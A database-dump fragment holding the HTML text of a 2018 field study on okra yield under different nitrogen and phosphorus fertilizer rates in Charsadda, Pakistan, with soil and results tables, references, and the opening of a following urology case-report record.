Charsadda.</span></p>\r\n','<div class=\"WordSection1\">\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Introduction</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">One of the reasons of low yield in Pakistan is improper management particularly use of imbalanced fertilizers if okra crop is properly managed, have the potential to produced continuously throughout the year. Nitrogen application significantly increased the number of seeds pod<sup>-1</sup>, green pod yield, pod diameter, number of fruits plant<sup>-1</sup> and pod weight. Phosphorus fertilizer application increased green pod yield, pod number and number of seeds pod<sup>-1</sup> [1]. Application of 150 kg N ha<sup>-1</sup> + 90 kg P ha<sup>-1</sup> in combination resulted in a higher yield of okra [2] showed that seed germination was not affected statistically by fertilizer application while plant height, number of leaves plant<sup>-1</sup>, number of pods plant<sup>-1</sup>, pod length and green pod yield were affected significantly and were highest at the highest level of fertilizers [3]. Phosphorus is associated with root growth and root health, increase tolerance to root-rot disease, increase fruit quality, creates disease resistance, stimulate growth and give early maturity [4]. Nitrogen fertilizer is used for vegetable production has increased by 21% [5]. However, proper attention must be given to these nutrients while planning a project on plant nutrition [6] specifically on vegetable crops.</span></p>\r\n</div>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Materials and Methods</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A field trial was conducted at the Soil and Water Testing Laboratory, Charsadda during April 2017. The experimental site is located at 302m above the sea level at Charsada (34.1682&deg; N, 71.7504&deg; E). The experimental soil was silt loam in texture having low moisture content and low bulk density, non-saline in nature, slightly alkaline in reaction and moderately calcareous, low in organic matter content, deficient in nitrogen and phosphorus, which need an appropriate amount of nitrogenous and phosphatic fertilizers (Table 1). Prior to planting, ten core soil samples, randomly collected from 0-15 cm soil depth were bulked inside a plastic bucket to form a composite sample and was analyzed for various physicochemical properties. The 1<sup>st</sup> factor was Nitrogen levels and the 2<sup>nd</sup> was Phosphorous levels which were applied at the rate of 0-0, 100-20, 100-40, 100-60, 100-90 kgha<sup>-1</sup>, from urea and single superphosphate, respectively. Okra (NHAe47-4) seeds variety was sown in the randomized complete block design with three replications. Four seeds of okra were planted per hole at a spacing of 60 cm x 30 cm and were later thinned off to one seedling per stand. Weeding and other agronomic practices were carried out properly when and where required.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Data was collected on growth parameters</span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Fruit Yield</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Plant height</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Number of leaves per Plant</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Number of branches plant<sup>-1</sup></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Days to flowering</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Survival %age</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Single pod weight</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As described by [7]. Difference in mean were illustrated using least significant difference (LSD) test at 5% level of probability.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>4. Results and Discussion</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1. Fruit yield</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">NP fertilizers have significant effect on the yieldof okra. Treatments 100-20, 100-40, 100-60, </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">100-90 kg ha<sup>-1</sup>showed mean yield of okra plant of 8.86, 11.85, 10.25 and 8.07, tha<sup>-1</sup> respectively while in comparison control showed 6.62. Results indicated the optimum NP fertilizers rate was 100-40 which gave significantly higher yield than other levels of NP fertilizers (Table 2). Our work is in agreement with the early work of [1,8] also reported that different levels of nitrogen and phosphorus fertilizers in combination significantly affect the yield and growth of okra.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.</strong>&nbsp;<strong>Plant height</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Results showed that NP fertilizers have significant effect on the plant height of okra (Table 2).Treatments 100-20, 100-40, 100-60, 100-90 kg ha<sup>-1</sup>showed that the mean plant height is 73.45, 79.55,84.42 and 91.44cm respectively, while in comparison control showed 62.78cm (Table 2) [9] indicated that the nitrogen and phosphorus fertilizers at different levels significantly increased plant height of okra. The higher dose of N and P might increase cell division and formation of more tissues resulting in luxuriant vegetative growth and thereby increased plant height [10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3.&nbsp;</strong><strong>Number of leaves plant<sup>-1</sup></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Results showed that NP fertilizers have significant effect on the number of leaves (Table 2). Treatments 100- 20,100-40,100-60 and100- 90 showed 43.67, 27.67,34.33 and 24.33mean effect on leaves, respectively while the control showed only 20.67 [11]. Studied that nitrogen supply induced more leaves plant<sup>-1</sup>. The average leaves plant<sup>-1</sup> (22.8) were found to be maximum in the spacing S-20.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4.&nbsp;</strong><strong>Number of branches plant<sup>-1</sup></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Number of branches plant<sup>-1</sup> treatment 100-20,100-40,100-60 and 100-90 kg ha<sup>-1</sup> showed 6.66, 8.33, 5.33 and 4.33 mean effects respectively while the control only showed 2.33 (Table 2) [12]. Studied number of branches increased significantly in almost all the treatment from T<sub>0</sub>and increased slowly with increased in levels of fertilizer T1 to T4 and the highest values had in T4 respectively<strong>.</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.5.&nbsp;Days to flowering</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For flowering days of okra NP fertilizers have non-significant effect (Table 2). Different treatments combination revealed that the mean effect on days to flowering were 55.66, 44.33, 48.00 and 66.33, respectively while control showed 64.33 [12]. Also showed that days taken to first flowering marginally reduced with the application of nutrients either alone or in combination. However, these were failed to bring about statistically significant variation over control.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>4.6.&nbsp;</strong><strong>Survival %age</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">NP fertilizers have significant effect on the survival %age of okra plant (Table 2). Treatment 100-20,100-40,100-60 and 100-90 kg ha<sup>-1</sup>showed the mean effect of 88.24, 75.04, 67.46 and 60.37 % respectively. Comparing control with different treatments which showed 52.85 %. Results indicated that the initial NP fertilizers rate is 100-20 which gave significantly higher survival %age than other treatment plots. The lower survival %age in the other fertilizer treatments might be due to excess of applied phosphorus in which the young plants could not survived better.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>4.7.&nbsp;</strong><strong>Single pod weight</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Results showed that treatments 100-20,100-40.100-60 and 100-90 kg ha<sup>-1</sup> have produced 5.43, 7.90, 11.78 and 13.53g on the pod weight, respectively while control only showed 9.73g single pod weight [12]. Nitrogen fertilizer at the rate of 100 kg Nha<sup>-1</sup> had significant effect on pod weight of okra<strong>.</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Conclusions and Recommendations</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Among the varying combination of NP fertilizers, 100-40 kg ha<sup>-1 </sup>showed overall good results on the yield and yield attributes of okra under the prevailing conditions of the Charsadda area.Therefore, NP fertilizers rate 100-40 kg ha<sup>-1</sup> is recommended to get the maximum yield of okra under the prevailing conditions of Charsadda area.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/bf01048632\">Majanbu IS (1986) Response of two okra varieties to fertilizer, growth and nutrient concentration as influenced by nitrogen and phosphorus application. J Nutrient Cycling in Agro-ecosystem 8: 297-306.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Zaman, Q Mahtab and Troani Igea (Eds) (2018) Transdisciplinary Urabanism and Culture. Springer.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3923/pjbs.1999.794.796\">Anjum MA and M Amjad (1999) Response of okra to different levels of NPK fertilizers. Pak J Biol Sci 2: 794-796.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://academicjournals.org/journal/AJPS/article-full-text-pdf/9F0B1B210984\">Shah AR, M Sajid, A Rab, N Ara, M Ahmad, et al. (2011) Response of germination, growth and yield of okra to seed priming duration and P-sources in NorthWest Pakistan. African Plant Sci 5: 663-670.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.pakbs.org/pjbot/PDFs/42(4)/PJB42(4)2513.pdf\">Mubashir M, SA Malik, AA Khan, TM Ansari, S Wright, et al. (2010) Growth, yield and nitrate accumulation of irrigated carrot and okra in response to nitrogen fertilization. Pak J Bot 42: 2513-2521.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Khalil IA (2006) Crops and cropping patterns in Pakistan: Crop Nutrition. 6th Chapter. HEC Publisher, Islamabad. pp: 64-65.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Omotoso SO, OY Johnson (2015) Growth and yield of two varieties of okra as affected by potassium fertilizersources. J Bio Agric and Healthcare 5: 98-101.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3923/ajar.2015.249.258\">Mohsen AAM and Abdel-Fattah (2015) Effect of different levels of nitrogen and phosphorus fertilizer in combination with botanical compost on growth and yield of okra under sandy soil conditions in Egypt. J Asian Agric Res 10: 249-258.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Sultana S (2002) Effect of various doses of nitrogen, phosphorus, potassium, sulphur and boron on okra. M.Sc. Thesis, BangabandhShiekhMujibur Rahman Agricultural University, Gazipur.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1051/matecconf/20165704001\">Brar NS and D Singh (2016) Impact of nitrogen and spacing on the growth and yield of okra. Inter J Agric Res 57: 1-7.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3329/bjb.v41i2.13436\">Rehman MA and F Akter (2012) Effect of NPK fertilizers on growth yield and yield attributes of okra. Bangladesh J Bot 41: 131-134.</a></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.18782/2320-7051.2859\">Meena NK, RK Mena, RS Dhaka and P Meena (2017) Response of nitrogen, phosphorus and potassium levels on growth and yield of okra cv. Arka Anamika. Intl J Pure and App Biosci 5: 1171-1177.</a></span></span></li>\r\n</ol>\r\n','','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Ali Z (2018) Response of Okra to Various Levels of Applied Nitrogen and Phosphorus Fertilizers. Open Acc J Agri Res: OAJAR-100012.</span></p>\r\n','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table1: &nbsp;&nbsp;</strong>Physico-chemical characteristics of experimental soil.</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Properties</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Unit</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Values</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Soil texture</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">__</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Silt loam</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Moisture</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">%</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Bulk density</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">gcm<sup>-3</sup></span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.18</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Electricity conductivity (1:5)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">dsm<sup>-1</sup></span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.41</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">pH(1:5)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">__</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.65</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lime</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">%</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Organic matter</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">%</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.85</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Carbon</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">%</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.49</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Nitrogen</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">%</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.04</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:156.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Phosphorus</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">mgkg<sup>-1</sup></span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:136.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.48</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2:</strong> Effect of different rates of NP fertilizers on the yield and yield components of okra.</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:13.04%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Fertilizer </span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(kgha<sup>-1</sup>)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:10.04%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Yield </span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(tha<sup>-1</sup>)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:12.06%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Plant height (cm)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:12.22%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Leaves plant<sup>-1</sup></span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:14.02%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Branches&nbsp; plant<sup>-1</sup></span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:14.34%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Days to flowering</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:9.82%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Survival %age</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:14.46%\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Single pod weight (g)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:13.04%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0-0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:10.04%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.62 e</span></p>\r\n			</td>\r\n			<td style=\"width:12.06%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">62.78 e</span></p>\r\n			</td>\r\n			<td style=\"width:12.22%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20.67 e</span></p>\r\n			</td>\r\n			<td style=\"width:14.02%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.33 e</span></p>\r\n			</td>\r\n			<td style=\"width:14.34%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">64.33 a</span></p>\r\n			</td>\r\n			<td style=\"width:9.82%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52.85 e</span></p>\r\n			</td>\r\n			<td style=\"width:14.46%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.73 c</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:13.04%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100-20</span></strong></p>\r\n			</td>\r\n			<td style=\"width:10.04%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.86 c</span></p>\r\n			</td>\r\n			<td style=\"width:12.06%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">73.45 d</span></p>\r\n			</td>\r\n			<td style=\"width:12.22%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">43.67 a</span></p>\r\n			</td>\r\n			<td style=\"width:14.02%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.66 b</span></p>\r\n			</td>\r\n			<td style=\"width:14.34%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">55.66 b</span></p>\r\n			</td>\r\n			<td style=\"width:9.82%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">88.24 a</span></p>\r\n			</td>\r\n			<td style=\"width:14.46%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.43 e</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:13.04%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100-40</span></strong></p>\r\n			</td>\r\n			<td style=\"width:10.04%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11.85 a</span></p>\r\n			</td>\r\n			<td style=\"width:12.06%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">79.55 c</span></p>\r\n			</td>\r\n			<td style=\"width:12.22%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27.67 c</span></p>\r\n			</td>\r\n			<td style=\"width:14.02%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.33 c</span></p>\r\n			</td>\r\n			<td style=\"width:14.34%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44.33 c</span></p>\r\n			</td>\r\n			<td style=\"width:9.82%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">75.04 b</span></p>\r\n			</td>\r\n			<td style=\"width:14.46%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.90 d</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:13.04%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100-60</span></strong></p>\r\n			</td>\r\n			<td style=\"width:10.04%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.25 b</span></p>\r\n			</td>\r\n			<td style=\"width:12.06%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">84.42 b</span></p>\r\n			</td>\r\n			<td style=\"width:12.22%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34.33 b</span></p>\r\n			</td>\r\n			<td style=\"width:14.02%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.33 c</span></p>\r\n			</td>\r\n			<td style=\"width:14.34%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48.00 c</span></p>\r\n			</td>\r\n			<td style=\"width:9.82%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">67.46 c</span></p>\r\n			</td>\r\n			<td style=\"width:14.46%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11.78 d</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:13.04%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">100-90</span></strong></p>\r\n			</td>\r\n			<td style=\"width:10.04%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.07 d</span></p>\r\n			</td>\r\n			<td style=\"width:12.06%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">91.44 a</span></p>\r\n			</td>\r\n			<td style=\"width:12.22%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24.33 d</span></p>\r\n			</td>\r\n			<td style=\"width:14.02%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.33 d</span></p>\r\n			</td>\r\n			<td style=\"width:14.34%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">66.33 a</span></p>\r\n			</td>\r\n			<td style=\"width:9.82%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">60.37 d</span></p>\r\n			</td>\r\n			<td style=\"width:14.46%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13.53 a</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:13.04%\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD(P&lt;0.05)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:10.04%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.59</span></p>\r\n			</td>\r\n			<td style=\"width:12.06%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.45</span></p>\r\n			</td>\r\n			<td style=\"width:12.22%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.15</span></p>\r\n			</td>\r\n			<td style=\"width:14.02%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.97</span></p>\r\n			</td>\r\n			<td style=\"width:14.34%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.38</span></p>\r\n			</td>\r\n			<td style=\"width:9.82%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.95</span></p>\r\n			</td>\r\n			<td style=\"width:14.46%\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.64</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n','1543820307.pdf',NULL,'1542796746.jpg','',0,1,'2018-11-21 16:09:06','2018-12-05 11:20:32',1),(25,32,'20','2018','Scrotal Skin Cover for Penile Skin Loss Secondary to Penile Cellulitis-A Case Report','Dinesh H Kittur1, Sudhakar Jadhav2, Santosh Patil2, Kant Shah2, Kailas Bhandarkar2,3,*','Case Report','Scrotal-Skin-Cover-for-Penile-Skin-Loss-Secondary-to-Penile-Cellulitis-A-Case-Report','Scrotal-Skin-Cover-for-Penile-Skin-Loss-Secondary-to Penile Cellulitis A Case-Report','Scrotal Skin Cover for Penile Skin-Loss-Secondary-to-Penile-Cellulitis-A-Case-Report','Scrotal Skin Cover for Penile Skin Loss Secondary to Penile Cellulitis-A Case Report','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Urology and Renal Problems</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Scrotal Skin Cover for Penile Skin Loss Secondary to Penile Cellulitis-</strong><strong>A Case Report</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span 